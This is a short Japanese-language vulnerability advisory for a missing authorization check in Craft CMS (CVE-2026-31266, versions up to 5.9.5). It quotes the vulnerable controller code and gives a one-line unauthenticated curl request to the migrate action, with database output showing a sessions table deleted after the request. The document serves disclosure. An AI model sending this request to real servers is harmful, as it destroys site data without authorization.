CVE-2026-31266 - Craft CMS 認可の欠落

CVE 情報

フィールド	値
CVE ID	CVE-2026-31266
ベンダー	Pixel & Tonic
製品	Craft CMS
影響を受けるバージョン	<= 5.9.5
CWE	CWE-862 (認可の欠落)
CVSS	7.3 (高)
セキュリティ研究者	0xRIXET

証拠の内容

• screenshots/ - 概念実証のデモ

脆弱性

• タイプ: 認可の欠落
• 影響: 認証バイパス
• ベンダー: Craft CMS
• ステータス: CVE-2026-31266

脆弱なコード

ファイル: src/controllers/AppController.php

行 65-68:

protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];

概念実証

# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"

証拠

攻撃前:

mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
|        0 |
+----------+

攻撃後:

mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist

参考文献

• Craft CMS リポジトリ
• Craftセキュリティドキュメント
• NVDエントリ

連絡先

• セキュリティ研究者: 0xRIXET | Mohammed Al-shehri
• Twitter | X : @0xRIXET
• メール: [email protected]